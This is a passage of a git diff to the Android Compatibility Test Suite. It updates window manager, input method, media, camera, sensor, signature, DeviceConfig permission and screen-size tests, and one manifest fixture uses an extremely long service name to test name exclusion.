- assertEquals("Instance of the activity in its task must be cleared", 0,
- mWmState.getActivityCountInTask(taskId, FINISH_ON_TASK_LAUNCH_ACTIVITY));
+ // Make sure the activity is removed.
+ mWmState.waitAndAssertActivityRemoved(FINISH_ON_TASK_LAUNCH_ACTIVITY);
}
@Test
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index fdcd640585d..ed0c1b92393 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -961,7 +961,7 @@ public abstract class ActivityManagerTestBase {
mWmState.computeState();
final List<Task> rootTasks = mWmState.getRootTasks();
for (Task rootTask : rootTasks) {
- if (rootTask.getTaskId() == taskId) {
+ if (rootTask.getRootTaskId() == taskId) {
return rootTask;
}
}
@@ -3481,4 +3481,13 @@ public abstract class ActivityManagerTestBase {
predicate).findFirst();
insetsOptional.ifPresent(insets -> insets.insetGivenFrame(inOutBounds));
}
+
+ /**
+ * Checks whether the device has automotive split-screen multitasking feature enabled
+ */
+ boolean hasAutomotiveSplitscreenMultitaskingFeature() {
+ return mContext.getPackageManager()
+ .hasSystemFeature(/* PackageManager.FEATURE_CAR_SPLITSCREEN_MULTITASKING */
+ "android.software.car.splitscreen_multitasking") && isCar();
+ }
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 71d2c08ba07..b6fd395fd87 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -499,7 +499,7 @@ public class WindowManagerState {
return mIsHomeRecentsComponent;
}
- DisplayContent getDisplay(int displayId) {
+ public DisplayContent getDisplay(int displayId) {
for (DisplayContent display : mDisplays) {
if (display.mId == displayId) {
return display;
@@ -1906,6 +1906,10 @@ public class WindowManagerState {
mMergedOverrideConfiguration.setTo(extract(proto.mergedOverrideConfiguration));
}
+ public Configuration getFullConfiguration() {
+ return mFullConfiguration;
+ }
+
boolean isWindowingModeCompatible(int requestedWindowingMode) {
if (requestedWindowingMode == WINDOWING_MODE_UNDEFINED) {
return true;
diff --git a/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml b/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml
index 39e4ca01f56..d8edb1960ec 100644
--- a/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml
+++ b/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml
@@ -29,7 +29,7 @@
</intent-filter>
<meta-data android:name="android.view.im" android:resource="@xml/largeresource"/>
</service>
- <service android:name=".services.imeservice_with_very_long_name_that_should_be_excluded_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+ <service android:name=".services.imeservice_with_very_long_name_that_should_be_excluded_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
android:permission="android.permission.BIND_INPUT_METHOD" android:exported="true">
<intent-filter>
<action android:name="android.view.InputMethod"/>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 3b6c93dd4ef..9c94bf9f3e3 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -425,6 +425,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#showSoftInput"})
@Test
public void testSoftInputStateAlwaysVisibleFocusEditorAfterLaunch() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
try (MockImeSession imeSession = createTestImeSession()) {
final ImeEventStream stream = imeSession.openEventStream();
@@ -955,6 +956,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@Test
public void testUnfocusedEditor_stateHidden_hidesIme() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_HIDDEN);
expectImeHidden(stream);
@@ -963,6 +965,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@Test
public void testUnfocusedEditor_stateAlwaysHidden_hidesIme() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_ALWAYS_HIDDEN);
expectImeHidden(stream);
@@ -973,6 +976,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateVisible() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_VISIBLE);
// The previous IME should be finished
@@ -998,6 +1002,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateAlwaysVisible() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_ALWAYS_VISIBLE);
// The previous IME should be finished
@@ -1023,6 +1028,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateUnchanged() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_UNCHANGED);
// The previous IME should be finished
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index 9a03eb8ea16..90b0bb46366 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -70,6 +70,7 @@ import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
+import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -96,6 +97,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@Test
public void testImeVisibilityWhenImeFocusableChildPopup() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
@@ -143,6 +145,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@Test
public void testImeVisibilityWhenImeFocusableGravityBottomChildPopup() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
@@ -191,6 +194,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@Test
public void testImeVisibilityWhenImeFocusableChildPopupOverlaps() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
@@ -240,6 +244,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
@Test
public void testEditTextPositionAndPersistWhenAboveImeWindowShown() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 06e7fff09ee..8d29069c057 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -104,6 +104,7 @@ import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Ignore;
import org.junit.Rule;
@@ -210,6 +211,7 @@ public class InputMethodServiceTest extends EndToEndImeTestBase {
@Test
public void testSwitchInputMethod_verifiesEnabledState() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
SystemUtil.runShellCommand("ime disable " + OTHER_IME_ID);
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
@@ -233,6 +235,7 @@ public class InputMethodServiceTest extends EndToEndImeTestBase {
}
@Test
public void testSwitchInputMethodWithSubtype_verifiesEnabledState() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
SystemUtil.runShellCommand("ime disable " + OTHER_IME_ID);
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
index 266621f9855..dd0a225bbb8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -48,6 +48,7 @@ import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
+import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -179,6 +180,7 @@ public class SearchViewTest extends EndToEndImeTestBase {
@Test
public void testShowImeWhenSearchViewFocusInListView() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
InstrumentationRegistry.getInstrumentation().getUiAutomation(),
diff --git a/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java b/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java
index 8afd4cbf0b7..dbd0aace848 100644
--- a/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java
+++ b/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java
@@ -417,6 +417,12 @@ public class EncoderConfigParams {
public Builder setProfile(int profile) {
this.mProfile = profile;
+ // encoder profile requires also level to be set prior to Android U,
+ // but this can be a default/unknown value. Setting this to 1 as all
+ // codecs use a value of 1 for lowest level.
+ if (mLevel < 0) {
+ mLevel = 1;
+ }
return this;
}
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index f1f051baae9..b05b275921d 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -320,6 +320,8 @@ bool CodecEncoderSurfaceTest::dequeueEncoderOutput(size_t bufferIndex,
if (info->size > 0) {
size_t buffSize;
uint8_t* buf = AMediaCodec_getOutputBuffer(mEncoder, bufferIndex, &buffSize);
+ // NdkMediaCodec calls ABuffer::data, which already adds offset
+ info->offset = 0;
if (mSaveToMem) {
mOutputBuff->saveToMemory(buf, info);
}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index cd5f0f33af7..996ac26c783 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -1516,14 +1516,9 @@ public class PerformanceClassEvaluator {
reqMet);
}
- public void setFrontLogicalMultiCameraReqMet(boolean reqMet) {
- this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
- reqMet);
- }
-
/**
* [2.2.7.2/7.5/H-1-13] MUST support LOGICAL_MULTI_CAMERA capability for the primary
- * cameras if there are greater than 1 RGB cameras facing the same direction.
+ * rear-facing camera if there are greater than 1 RGB rear-facing cameras.
*/
public static LogicalMultiCameraRequirement createLogicalMultiCameraReq() {
RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
@@ -1533,16 +1528,9 @@ public class PerformanceClassEvaluator {
.addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
.addRequiredValue(Build.VERSION_CODES.UPSIDE_DOWN_CAKE, true)
.build();
- RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
- .<Boolean>builder()
- .setId(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
- .setPredicate(RequirementConstants.BOOLEAN_EQ)
- .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
- .addRequiredValue(Build.VERSION_CODES.UPSIDE_DOWN_CAKE, true)
- .build();
return new LogicalMultiCameraRequirement(RequirementConstants.R7_5__H_1_13,
- rearRequirement, frontRequirement);
+ rearRequirement);
}
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
index 35fc29b93bc..e2b7666dc2a 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
@@ -33,7 +33,7 @@ public class MeanLargerThanVerification extends AbstractMeanVerification {
public static final String PASSED_KEY = "mean_larger_than_passed";
private static final String TAG = "MeanLargerThanVerification";
- private static final float DEFAULT_GYRO_UNCAL_THRESHOLD = 0.0005f;
+ private static final float DEFAULT_GYRO_UNCAL_THRESHOLD = 0.0002f;
private final float[] mExpected;
private final float[] mThresholds;
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index 64b664aa88a..6a3f4616434 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -84,6 +84,9 @@ class InterfaceChecker {
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.notifyImeHidden()");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.removeImeSurface()");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.bluetooth.BluetoothProfile.close()");
+ HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract android.bluetooth.BluetoothAdapter android.bluetooth.BluetoothProfile.getAdapter()");
+ HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.bluetooth.BluetoothProfile.onServiceConnected(android.os.IBinder)");
+ HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.bluetooth.BluetoothProfile.onServiceDisconnected()");
}
private final ResultObserver resultObserver;
diff --git a/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java b/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java
index ad28177b4a9..0c80ed506f6 100644
--- a/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java
+++ b/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java
@@ -39,6 +39,7 @@ import android.view.cts.surfacevalidator.ViewFactory;
import android.widget.FrameLayout;
import androidx.test.filters.LargeTest;
+import androidx.test.filters.RequiresDevice;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
@@ -51,6 +52,7 @@ import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
@LargeTest
@SuppressLint("RtlHardcoded")
+@RequiresDevice
public class SurfaceViewSyncTest {
private static final String TAG = "SurfaceViewSyncTests";
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
index d6e845d452d..ce8fdd7b094 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -41,6 +41,7 @@ import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PollingCheck;
@@ -295,10 +296,11 @@ public class BugreportManagerTest extends BaseCarrierApiTest {
assertExceptionThrownForMode(-1, IllegalArgumentException.class);
}
+ @ApiTest(apis = {"android.os.BugreportParams#getMode"})
@Test
public void startBugreport_invalidMode() throws Exception {
- // Current max is BUGREPORT_MODE_DEFAULT (6) as defined by the AIDL.
- assertExceptionThrownForMode(7, IllegalArgumentException.class);
+ // Current max is BUGREPORT_MODE_ONBOARDING (7) as defined by the AIDL.
+ assertExceptionThrownForMode(8, IllegalArgumentException.class);
}
/* Implementatiion of {@link BugreportCallback} that offers wrappers around execution result */
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index feb3a8908a0..aa8521d3176 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -68,8 +68,8 @@ public final class DeviceConfigApiPermissionTests {
.dropShellPermissionIdentity();
}
/**
- * Checks that when application does not have READ_DEVICE_CONFIG or WRITE_DEVICE_CONFIG
- * permissions it cannot access any of DeviceConfig API methods
+ * Checks that when application does not have WRITE_DEVICE_CONFIG
+ * permissions it cannot access any write DeviceConfig API methods
* @throws Exception
*/
@Test
@@ -81,10 +81,6 @@ public final class DeviceConfigApiPermissionTests {
trySetPropertiesWithoutWritePermission(violations);
tryDeletePropertyWithoutWritePermission(violations);
- // getters without read permission
- tryGetPropertyWithoutReadPermission(violations);
- tryGetPropertiesWithoutReadPermission(violations);
-
// Bail if we found any violations
if (violations.length() > 0) {
fail(violations.toString());
@@ -107,10 +103,6 @@ public final class DeviceConfigApiPermissionTests {
trySetPropertyWithWritePermission(violations);
trySetPropertiesWithWritePermission(violations);
- // getters without read permission
- tryGetPropertyWithoutReadPermission(violations);
- tryGetPropertiesWithoutReadPermission(violations);
-
// Bail if we found any violations
if (violations.length() > 0) {
fail(violations.toString());
@@ -304,24 +296,6 @@ public final class DeviceConfigApiPermissionTests {
}
}
- private void tryGetPropertyWithoutReadPermission(StringBuilder violations) {
- try {
- DeviceConfig.getProperty(NAMESPACE, KEY);
- violations.append("DeviceConfig.getProperty() must not be accessible without "
- + "READ_DEVICE_CONFIG permission.\n");
- } catch (SecurityException e) {
- }
- }
-
- private void tryGetPropertiesWithoutReadPermission(StringBuilder violations) {
- try {
- DeviceConfig.getProperties(NAMESPACE2);
- violations.append("DeviceConfig.getProperties() must not be accessible without "
- + "READ_DEVICE_CONFIG permission.\n");
- } catch (SecurityException e) {
- }
- }
-
private void trySetPropertyWithWritePermission(StringBuilder violations) {
try {
DeviceConfig.setProperty(NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 6cd292ac771..5f27a97a4e9 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -48,13 +48,20 @@ public class ConfigurationTest extends AndroidTestCase {
display.getRealMetrics(mMetrics);
}
+ @CddTest(requirement = "2.2.1")
@Presubmit
public void testScreenConfiguration() {
double xInches = (double) mMetrics.widthPixels / mMetrics.xdpi;
double yInches = (double) mMetrics.heightPixels / mMetrics.ydpi;
double diagonalInches = Math.sqrt(Math.pow(xInches, 2) + Math.pow(yInches, 2));
double minSize = 2.5d;
- if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.R) {
+ double minShortEdgeInches = 0.0d;
+ double minLongEdgeInches = 0.0d;
+ if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ minSize = 4.04d;
+ minShortEdgeInches = 2.2d;
+ minLongEdgeInches = 3.4d;
+ } else if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.R) {
minSize = 3.3d;
}
if (FeatureUtil.isWatch()) {
@@ -64,8 +71,20 @@ public class ConfigurationTest extends AndroidTestCase {
// Cars have a different minimum diagonal.
minSize = 6.0d;
}
+
assertTrue("Screen diagonal must be at least " + minSize + " inches: " + diagonalInches,
diagonalInches >= minSize);
+ // We can only verify short and long edge screen dimensions on non watch and auto devices.
+ if (!FeatureUtil.isAutomotive() && !FeatureUtil.isWatch()) {
+ assertTrue(
+ "Screen short edge must be at least " + minShortEdgeInches + " inches: "
+ + Math.min(xInches, yInches),
+ Math.min(xInches, yInches) >= minShortEdgeInches);
+ assertTrue(
+ "Screen long edge must be at least " + minLongEdgeInches + " inches: "
+ + Math.max(xInches, yInches),
+ Math.max(xInches, yInches) >= minLongEdgeInches);
+ }
double density = 160.0d * mMetrics.density;
assertTrue("Screen density must be at least 100 dpi: " + density, density >= 100.0d);
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index 5a01cbb2a53..079471633ff 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -440,7 +440,8 @@ public class FrameRateCtsActivity extends Activity {
List<Float> seamedRefreshRates = new ArrayList<>();
Display.Mode[] modes = display.getSupportedModes();
for (Display.Mode otherMode : modes) {
- if (!DisplayUtil.isModeSwitchSeamless(mode, otherMode)) {
+ if (hasSameResolution(mode, otherMode)
+ && !DisplayUtil.isModeSwitchSeamless(mode, otherMode)) {
seamedRefreshRates.add(otherMode.getRefreshRate());
}
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
index fc03d5b1dd7..afa7cc1f01a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
@@ -16,6 +16,8 @@
package android.hardware.input.cts.tests;
+import static android.Manifest.permission.ADD_TRUSTED_DISPLAY;
+import static android.Manifest.permission.CREATE_VIRTUAL_DEVICE;
import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
import static org.junit.Assert.fail;
@@ -33,6 +35,7 @@ import android.graphics.Point;
import android.graphics.SurfaceTexture;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
+import android.hardware.display.VirtualDisplayConfig;
import android.hardware.input.InputManager;
import android.os.Bundle;
import android.os.Handler;
@@ -68,14 +71,11 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
protected static final int DISPLAY_WIDTH = 100;
protected static final int DISPLAY_HEIGHT = 100;
- // Uses:
- // Manifest.permission.CREATE_VIRTUAL_DEVICE,
- // Manifest.permission.ADD_TRUSTED_DISPLAY
